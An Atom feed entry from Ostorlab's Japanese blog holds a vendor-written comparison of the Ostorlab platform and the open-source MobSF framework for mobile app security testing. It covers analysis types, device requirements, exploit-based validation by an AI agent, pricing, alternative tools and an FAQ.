<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Ostorlab</title><link href="https://blog.ostorlab.co/ja/" rel="alternate"/><link href="https://blog.ostorlab.co/ja/feeds/all.atom.xml" rel="self"/><id>https://blog.ostorlab.co/ja/</id><updated>2026-10-07T18:00:00+02:00</updated><subtitle>Ostorlabは、AndroidおよびiOSアプリケーションの徹底的な静的・動的セキュリティテストを行う、強力なモバイルアプリセキュリティテストプラットフォームです。</subtitle><entry><title>Ostorlab vs MobSF：アナリスト主導とAI主導のモバイルセキュリティテスト（2026年）</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-mobsf.html" rel="alternate"/><published>2026-10-07T10:00:00+02:00</published><updated>2026-10-07T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-10-07:/ja/ostorlab-vs-mobsf.html</id><summary type="html">&lt;p&gt;モバイルアプリのセキュリティテストにおけるOstorlabとMobSF（Mobile Security Framework）の比較です。静的解析と動的解析、端末の要件、エクスプロイトによる実証、認証付きテスト、連携、デプロイ、コストを取り上げ、代替ツールとFAQも紹介します。&lt;/p&gt;</summary><content type="html">&lt;h1 id="ostorlab vs mobsf:アナリスト主導とai主導のモバイルセキュリティテスト"&gt;Ostorlab vs MobSF：アナリスト主導とAI主導のモバイルセキュリティテスト&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;結論：&lt;/strong&gt;MobSF（Mobile Security Framework）は、Android、iOS、Windowsアプリの静的解析、動的解析、マルウェア解析を行う無料のオープンソースツールです。静的チェックは自動化されていますが、動的テストは自社のアナリストが主導します。Ostorlabはマネージドプラットフォームで、Communityプランなら無料で始められ、モバイルアプリのスキャンを無制限に実行できます。OstorlabのAIエージェントは実行中のアプリをテストし、ログインし、アプリからバックエンドAPIまでたどり、確定した検出結果のそれぞれを実際に動作するエクスプロイトで裏付けます。&lt;/p&gt;
&lt;p&gt;どちらも無料で利用できます。MobSFは自社でホストして運用する無料のオープンソースソフトウェアであり、Ostorlabには無料のCommunityプランがあります。多くのモバイルチームは、オープンソースかつセルフホスト型で、主要なアプリ形式をカバーしていることから、MobSFから使い始めます。アプリを自分で調べたいアナリストにとって、MobSFは有力な選択肢です。チームがMobSFの代替を探すのは、通常、次のものが必要になったときです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アナリストが張り付いていなくても、リリースのたびに実行されるテスト&lt;/li&gt;
&lt;li&gt;root化されたエミュレーターを使わずに、最新のAndroidとiOSに対応すること&lt;/li&gt;
&lt;li&gt;ログイン後のフローとバックエンドAPIのテスト&lt;/li&gt;
&lt;li&gt;どの検出結果が実際に悪用可能かの実証&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabの概要&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;概要&lt;/strong&gt;：Ostorlabは、モバイルアプリ（Android、iOS、HarmonyOS）、Webアプリ、API、ソースコードを対象とするアプリケーションセキュリティテストプラットフォームです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;：アナリストが張り付いていなくてもリリースのたびにモバイルテストを実行し、各検出結果を実際に動作するエクスプロイトで実証したいチーム。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モバイルテスト&lt;/strong&gt;：静的解析、動的解析、実行時解析、振る舞い解析。ログイン、ワンタイムコード、多要素認証に対応した認証付きテスト。物理端末上での保護機能のテスト。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ストアからのスキャン&lt;/strong&gt;：Google Play、App Store、AppGalleryでAndroid、iOS、HarmonyOSのアプリを検索し、アップロード不要で&lt;a href="https://docs.ostorlab.co/tutorials/mobile_store_scan.html"&gt;直接スキャン&lt;/a&gt;できます。監視ルールにより、新しいバージョンがリリースされるたびに新しいスキャンが開始されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主な差別化要因&lt;/strong&gt;：スキャン中にアプリが実行されると、OstorlabのAIエージェントが確定したすべての検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスが付属します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ&lt;/strong&gt;：米国、EU、GCC、APACのデータレジデンシーを選べるSaaS、またはオンプレミス（Enterprise）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;価格&lt;/strong&gt;：モバイルアプリのスキャンが無制限の無料Communityプラン、AI Pentestは$499から、AppSec mobileはアプリ1つあたり月額$599（年間請求）。&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
&lt;p&gt;この比較は、ここで比較対象となっているOstorlabプラットフォームを開発・販売するOstorlabが公開しています。MobSFに関する記述は、MobSF自身のGitHubリポジトリとドキュメントを引用またはリンクしたもので、2026年10月7日に確認し、&lt;a href="#sources"&gt;出典&lt;/a&gt;に記載しています。Ostorlabに関する記述は、Ostorlabの製品ページとドキュメントに基づいています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：プラットフォームとファイル形式、解析の種類、動的テストに必要な端末の要件、悪用可能性の実証、認証付きテスト、バックエンドAPI、連携、デプロイ、コスト。&lt;/p&gt;
&lt;h2 id="比較の概要"&gt;比較の概要&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;MobSF&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;オープンソースのセルフホスト型ツールを求めるアナリスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実証済みの検出結果を伴う自動テストを求め、無料で始めたいチーム&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;動的解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;⚠️ Android 11（API 30）までのroot化されたエミュレーター、ジェイルブレイクされたiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ AndroidとiOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;テストを主導するのは誰か&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自社のアナリスト（インタラクティブな計装による）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AIエージェント（スキャンのたびに）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;悪用可能性の実証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エクスプロイト検証についての記載なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ AIエージェントの各検出結果に実際に動作するエクスプロイト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認証付きテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;手動（アナリストのセッションを通じて）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ ログイン、ワンタイムコード、多要素認証&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;バックエンドAPIのテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;キャプチャしたトラフィックをほかのツールに渡せる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ アプリからAPIまでたどる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プラットフォーム&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Android、iOS、Windows APPX（静的解析のみ）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Android、iOS、HarmonyOS、Webアプリ、API、ソースコード&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;静的解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ アプリパッケージとソースコード&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ アプリパッケージとソースコードリポジトリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ストアから直接スキャン&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ストアからのスキャンについての記載なし。パッケージをアップロードする&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ &lt;a href="https://docs.ostorlab.co/tutorials/mobile_store_scan.html"&gt;Google Play、App Store、AppGallery&lt;/a&gt;。新しいバージョンごとに新しいスキャン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;マルウェア解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ オプションのVirusTotalキーを使用&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ 悪意のあるコードと改ざん防止のチェック&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;REST API、ソースコード向けのmobsfscan&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ GitHub、GitLab、Jenkins、Azure DevOps、Bitbucket、CircleCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;デプロイ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セルフホスト（DockerまたはPyPI）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4リージョンのSaaS、Enterpriseではオンプレミス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;オープンソース、GPL-3.0&lt;/td&gt;
&lt;td style="text-align: left;"&gt;商用。スキャンエンジンの&lt;a href="https://github.com/Ostorlab/oxo"&gt;OXO&lt;/a&gt;はオープンソース、Apache-2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;コスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;無料。OpenSecurityによる有償サポート&lt;/td&gt;
&lt;td style="text-align: left;"&gt;無料のCommunityプラン。有料プランは$499から&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="各ツールが最も得意とすること"&gt;各ツールが最も得意とすること&lt;/h2&gt;
&lt;h3 id="mobsf"&gt;MobSF&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;：MobSFは、オープンソースのセルフホスト型ツールでモバイルアプリを手作業で調べたいセキュリティアナリストや研究者、そして自社のパイプラインで手早く静的チェックを行いたいチームに最適です。&lt;/p&gt;
&lt;p&gt;MobSFは自らを「静的解析と動的解析を実行できる、自動化されたオールインワンのモバイルアプリケーション（Android/iOS/Windows）向けペンテスト、マルウェア解析、セキュリティ評価フレームワーク」と説明しています。&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF" rel="nofollow noopener noreferrer" target="_blank"&gt;GPL-3.0のもとでオープンソース&lt;/a&gt;として公開されています。Android Tamer、BlackArch、Pentooに同梱されています。執筆時点の最新リリースはv4.5.3で、2026年9月21日に公開されました。&lt;/p&gt;
&lt;p&gt;静的アナライザーは「APK、IPA、APPXといった一般的なモバイルアプリのバイナリとソースコード」を読み取ります。動的アナライザーは「AndroidとiOSの両方のアプリケーションに対応し、インタラクティブな計装テスト、実行時データ、ネットワークトラフィック解析のためのプラットフォームを提供」します。ルールはCWE、OWASP Mobile Top 10、OWASP MASVSにマッピングされています。MobSFはDockerを通じて自社のインフラストラクチャ上で動作し、チームがCI/CDで利用するREST APIを公開しています。&lt;/p&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;：Ostorlabは、リリースのたびにモバイルセキュリティテストを実行し、ログイン後のフローとバックエンドAPIをカバーし、どの検出結果が悪用可能かを実証したいチームに最適です。&lt;/p&gt;
&lt;p&gt;Ostorlabは、モバイルアプリ、Webアプリ、API、ソースコードを対象とするアプリケーションセキュリティテストプラットフォームです。&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;は、アナリストが張り付いていなくても、出荷するビルドそのものをテストします。ワンタイムコードや多要素認証を含めてログインし、TLSピンニングや難読化を突破し、アプリからバックエンドAPIまでたどって、アクセスチェックの不備などのビジネスロジックの欠陥を探します。AIエージェントが確定した各検出結果には、再実行できる実際に動作するエクスプロイトが付属します。&lt;/p&gt;
&lt;p&gt;OstorlabはAndroid、iOS、HarmonyOSのアプリをテストします。&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;は、rootやジェイルブレイクの検知といった実行時の保護機能を物理端末上でテストします。無料の&lt;a href="https://ostorlab.co/plans"&gt;Communityプラン&lt;/a&gt;にはモバイルアプリのスキャンが無制限に含まれており、Ostorlabのスキャンエンジンである&lt;a href="https://github.com/Ostorlab/oxo"&gt;OXO&lt;/a&gt;もオープンソースです。&lt;/p&gt;
&lt;h2 id="主な違い"&gt;主な違い&lt;/h2&gt;
&lt;h3 id="テストを行うのは誰か"&gt;テストを行うのは誰か&lt;/h3&gt;
&lt;p&gt;MobSFは、逆コンパイルされたコード、実行時の計装、トラフィックのキャプチャ、レポートといったツールをアナリストに提供します。MobSFによる評価の深さは、それを使う人に左右されます。OstorlabのAIエージェントは、動的テストを自ら実行します。アプリを操作し、ログインし、見つけたものの悪用を試みます。そのため、リリースのたびに同じ深さを再現できます。&lt;/p&gt;
&lt;h3 id="動的テストの要件"&gt;動的テストの要件&lt;/h3&gt;
&lt;p&gt;MobSFの&lt;a href="https://mobsf.github.io/docs/#/dynamic_analyzer_docker" rel="nofollow noopener noreferrer" target="_blank"&gt;動的解析ドキュメント&lt;/a&gt;には、「特定のroot化されたAndroid VM/エミュレーターと、ジェイルブレイクされたiOSターゲットに対応する」と記載されています。Androidエミュレーターは「バージョン11、API 30まで」のroot化されたイメージでなければならず、x86エミュレーターではARMネイティブライブラリのみを同梱するアプリを実行できません。iOSについては「ジェイルブレイクされていない端末はMobSFでは使用できない」とされ、ジェイルブレイクされた物理端末への対応は初期ベータ段階です。Ostorlabは、AndroidとiOSで動的テストを代わりに実行し、実行時の保護機能を物理端末上でテストします。&lt;/p&gt;
&lt;h3 id="検出結果と実証済みの検出結果"&gt;検出結果と実証済みの検出結果&lt;/h3&gt;
&lt;p&gt;MobSFは、ルールとアナリストのセッションが見つけたものを報告します。当社が調べた範囲では、ドキュメントに自動的なエクスプロイト検証についての記載は見当たりませんでした。Ostorlabは、AIエージェントが確定した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスを添付するため、開発者は悪用可能であることが示された問題を修正できます。&lt;/p&gt;
&lt;h3 id="アプリのみか、アプリ、api、コードか"&gt;アプリのみか、アプリ、API、コードか&lt;/h3&gt;
&lt;p&gt;MobSFはアプリパッケージに焦点を当てています。キャプチャしたAPIトラフィックを表示でき、アナリストはそれをほかのツールでテストします。Ostorlabはモバイルスキャンの一部としてバックエンドAPIをテストし、&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;でWebアプリやリポジトリを追加することもできます。&lt;/p&gt;
&lt;h3 id="コストとデプロイ"&gt;コストとデプロイ&lt;/h3&gt;
&lt;p&gt;MobSFは無料でセルフホスト型です。コストはインフラストラクチャとアナリストの時間であり、OpenSecurityによる有償サポートをオプションで利用できます。Ostorlabはマネージドサービスで、無料のCommunityプラン（モバイルアプリのスキャンが無制限）、$499からのAI Pentest、アプリ1つあたり月額$599（年間請求、月間請求の場合は$653）のAppSec mobileを提供しています。OstorlabはEnterpriseでオンプレミスのデプロイも提供しています。&lt;/p&gt;
&lt;h2 id="どちらを選ぶべきか"&gt;どちらを選ぶべきか&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;アプリを手作業で調べたいアナリストがいる場合、自社でホストするオープンソースツールが必要な場合、あるいは自社のパイプラインで手早く静的チェックを行いたい場合は、&lt;strong&gt;MobSFを選択&lt;/strong&gt;してください。&lt;/li&gt;
&lt;li&gt;リリースのたびに自動で実行され、root化されたエミュレーターなしで最新のAndroidとiOSで動作し、ログイン後のフローとバックエンドAPIをカバーし、実際に動作するエクスプロイトで検出結果を実証するテストを求める場合は、&lt;strong&gt;Ostorlabを選択&lt;/strong&gt;してください。Communityプランなら、モバイルアプリのスキャンを無制限に、無料で始められます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;多くのチームは両方を併用しています。開発中の無料の一次静的チェックにはMobSFを、リリース前の自動動的テストとエクスプロイトによる実証にはOstorlabを使います。&lt;/p&gt;
&lt;h2 id="mobsfの代替ツールのおすすめ"&gt;MobSFの代替ツールのおすすめ&lt;/h2&gt;
&lt;p&gt;2026年におけるモバイルアプリセキュリティテスト向けの主なMobSFの代替は、Ostorlab、Oversecured、NowSecure、Appknoxです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、ログイン後のフロー、バックエンドAPI、確定した各検出結果に対する実際に動作するエクスプロイトを伴う自動テストをリリースのたびに実行したいチーム向けのMobSFの代替で、無料のCommunityプランから始められます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Oversecured&lt;/strong&gt;は、概念実証（PoC）を伴う深いAndroid解析を求める、Android中心のチーム向けのMobSFの代替です。iOSの解析にはソースコードが必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NowSecure&lt;/strong&gt;は、自動化されたモバイルテストをペンテストサービスと併せて利用したいエンタープライズ向けのMobSFの代替です。&lt;a href="https://blog.ostorlab.co/ostorlab-vs-nowsecure.html"&gt;Ostorlab vs NowSecure&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Appknox&lt;/strong&gt;は、脆弱性評価サービスとともにモバイルアプリとAPIのテストを求めるチーム向けのMobSFの代替です。&lt;a href="https://blog.ostorlab.co/ostorlab-vs-appknox.html"&gt;Ostorlab vs Appknox&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="faq"&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;MobSFは無料ですか。&lt;/strong&gt;
はい。MobSFはGPL-3.0ライセンスのもとでオープンソースとして公開されており、無料で利用できます。自社でホストする必要があり、OpenSecurityがオプションのエンタープライズサポートを販売しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MobSFの代替として最適なのは何ですか。&lt;/strong&gt;
最適なMobSFの代替は、何を必要とするかによって異なります。Ostorlabは、エクスプロイトによる実証を伴う自動テストを求め、無料プランから始めたいチームに適しています。OversecuredはAndroid中心のチームに適しています。NowSecureとAppknoxは、テストサービスを求めるエンタープライズに適しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MobSFの動的解析は最新のAndroidとiOSで動作しますか。&lt;/strong&gt;
MobSFのドキュメントによると、動的解析が対応するのはAndroid 11（API 30）までのroot化されたAndroidエミュレーターと、ジェイルブレイクされたiOSターゲットのみです。Ostorlabは、root化またはジェイルブレイクされた端末を用意しなくても、AndroidとiOSで動的テストを実行します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MobSFは脆弱性が悪用可能であることを実証しますか。&lt;/strong&gt;
当社が調べた範囲では、MobSFのドキュメントに自動的なエクスプロイト検証についての記載は見当たりませんでした。動的テストはアナリストが主導します。Ostorlabは、AIエージェントが確定した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスを添付します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MobSFの無料の代替はありますか。&lt;/strong&gt;
はい。OstorlabのCommunityプランは無料で、モバイルアプリのスキャン数に制限はありません。また、OstorlabのスキャンエンジンであるOXOはオープンソースです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MobSFとOstorlabは併用できますか。&lt;/strong&gt;
はい。一般的な構成では、コードを書いている段階の一次静的解析にMobSFを使い、リリース前の自動動的テスト、ログイン後のフロー、バックエンドAPI、エクスプロイトによる実証にOstorlabを使います。&lt;/p&gt;
&lt;h2 id="この比較の作成方法"&gt;この比較の作成方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MobSFに関する事実は、GitHubリポジトリ、リリースノート、ドキュメントに基づいており、2026年10月7日に確認し、&lt;a href="#sources"&gt;出典&lt;/a&gt;にリンクを掲載しています。オープンソースプロジェクトは変化が速いことにご注意ください。&lt;/li&gt;
&lt;li&gt;この比較は公開されている機能とコストを対象としており、検出率のベンチマークではありません。&lt;/li&gt;
&lt;li&gt;MobSFに記載された主張や機能がないと書いた箇所については、リポジトリとドキュメントを検索し、言及が見つからなかったことを意味します。それでもMobSFが対応している可能性はあります。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sources"&gt;出典&lt;/h2&gt;
&lt;p&gt;2026年10月7日に確認したMobSFのページ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF" rel="nofollow noopener noreferrer" target="_blank"&gt;GitHubリポジトリとREADME&lt;/a&gt;：位置付け、ライセンス、静的・動的アナライザー、Docker、ディストリビューション&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases" rel="nofollow noopener noreferrer" target="_blank"&gt;リリース&lt;/a&gt;：v4.5.3、2026年9月21日&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/master/mobsf/MobSF/settings.py" rel="nofollow noopener noreferrer" target="_blank"&gt;対応ファイル形式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mobsf.github.io/docs/#/dynamic_analyzer_docker" rel="nofollow noopener noreferrer" target="_blank"&gt;動的解析ドキュメント&lt;/a&gt;：エミュレーター、Androidバージョン、ジェイルブレイクの要件&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mobsf.github.io/docs/#/extras" rel="nofollow noopener noreferrer" target="_blank"&gt;Extras&lt;/a&gt;：REST API、CI/CD、VirusTotal&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/master/mobsf/StaticAnalyzer/views/android/rules/android_rules.yaml" rel="nofollow noopener noreferrer" target="_blank"&gt;Androidルール&lt;/a&gt;：CWE、OWASP Mobile、MASVSへのマッピング&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ostorlab：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;モバイルアプリ向けAgentic Deep Scan&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;、&lt;a href="https://github.com/Ostorlab/oxo"&gt;OXO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;MobSFは、モバイルアプリの内部を自分で調べたいアナリストにとって、最高のオープンソースツールの一つです。Ostorlabも無料で始められ、その次のステップのために作られています。リリースのたびに実行され、ログインし、アプリからAPIまでたどり、確定した各検出結果を実際に動作するエクスプロイトで実証するテストです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社のアプリで確かめる：&lt;/strong&gt;&lt;a href="https://report.ostorlab.co/scan/new"&gt;無料のモバイルスキャンを実行&lt;/a&gt;し、検出結果をMobSFのレポートと比較してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにMobSFをお使いですか。&lt;/strong&gt;&lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとMobSFを比較&lt;/a&gt;できます。対象も時間枠も同じ条件です。検出結果としてカウントされるのは、自社のチームが再現できたものだけです。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://blog.ostorlab.co/ostorlab-vs-mobsf.html#article",
      "mainEntityOfPage": "https://blog.ostorlab.co/ostorlab-vs-mobsf.html",
      "headline": "Ostorlab vs MobSF：アナリスト主導とAI主導のモバイルセキュリティテスト（2026年）",
      "description": "モバイルアプリのセキュリティテストにおけるOstorlabとMobSF（Mobile Security Framework）の比較です。静的解析と動的解析、端末の要件、エクスプロイトによる実証、認証付きテスト、連携、デプロイ、コストを取り上げ、代替ツールとFAQも紹介します。",
      "image": "https://blog.ostorlab.co/static/img/ostorlab-vs-mobsf/cover.png",
      "datePublished": "2026-10-07T10:00:00+02:00",
      "dateModified": "2026-10-07T10:00:00+02:00",
      "author": {
        "@type": "Person",
        "name": "Abir Jelti"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      },
      "about": [
        {
          "@type": "SoftwareApplication",
          "name": "Ostorlab"
        },
        {
          "@type": "SoftwareApplication",
          "name": "MobSF (Mobile Security Framework)"
        }
      ]
    },
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/ostorlab-vs-mobsf.html#list-1",
      "name": "MobSFの代替ツールのおすすめ（2026年）",
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "description": "Ostorlabは、ログイン後のフロー、バックエンドAPI、確定した各検出結果に対する実際に動作するエクスプロイトを伴う自動テストをリリースのたびに実行したいチーム向けのMobSFの代替で、無料のCommunityプランから始められます。"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "Oversecured",
          "description": "Oversecuredは、概念実証（PoC）を伴う深いAndroid解析を求める、Android中心のチーム向けのMobSFの代替です。iOSの解析にはソースコードが必要です。"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "NowSecure",
          "description": "NowSecureは、自動化されたモバイルテストをペンテストサービスと併せて利用したいエンタープライズ向けのMobSFの代替です。Ostorlab vs NowSecureをご覧ください。"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Appknox",
          "description": "Appknoxは、脆弱性評価サービスとともにモバイルアプリとAPIのテストを求めるチーム向けのMobSFの代替です。Ostorlab vs Appknoxをご覧ください。"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/ostorlab-vs-mobsf.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "MobSFは無料ですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。MobSFはGPL-3.0ライセンスのもとでオープンソースとして公開されており、無料で利用できます。自社でホストする必要があり、OpenSecurityがオプションのエンタープライズサポートを販売しています。"
          }
        },
        {
          "@type": "Question",
          "name": "MobSFの代替として最適なのは何ですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "最適なMobSFの代替は、何を必要とするかによって異なります。Ostorlabは、エクスプロイトによる実証を伴う自動テストを求め、無料プランから始めたいチームに適しています。OversecuredはAndroid中心のチームに適しています。NowSecureとAppknoxは、テストサービスを求めるエンタープライズに適しています。"
          }
        },
        {
          "@type": "Question",
          "name": "MobSFの動的解析は最新のAndroidとiOSで動作しますか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "MobSFのドキュメントによると、動的解析が対応するのはAndroid 11（API 30）までのroot化されたAndroidエミュレーターと、ジェイルブレイクされたiOSターゲットのみです。Ostorlabは、root化またはジェイルブレイクされた端末を用意しなくても、AndroidとiOSで動的テストを実行します。"
          }
        },
        {
          "@type": "Question",
          "name": "MobSFは脆弱性が悪用可能であることを実証しますか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "当社が調べた範囲では、MobSFのドキュメントに自動的なエクスプロイト検証についての記載は見当たりませんでした。動的テストはアナリストが主導します。Ostorlabは、AIエージェントが確定した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスを添付します。"
          }
        },
        {
          "@type": "Question",
          "name": "MobSFの無料の代替はありますか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。OstorlabのCommunityプランは無料で、モバイルアプリのスキャン数に制限はありません。また、OstorlabのスキャンエンジンであるOXOはオープンソースです。"
          }
        },
        {
          "@type": "Question",
          "name": "MobSFとOstorlabは併用できますか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。一般的な構成では、コードを書いている段階の一次静的解析にMobSFを使い、リリース前の自動動的テスト、ログイン後のフロー、バックエンドAPI、エクスプロイトによる実証にOstorlabを使います。"
          }
        }
      ]
    }
  ]
}
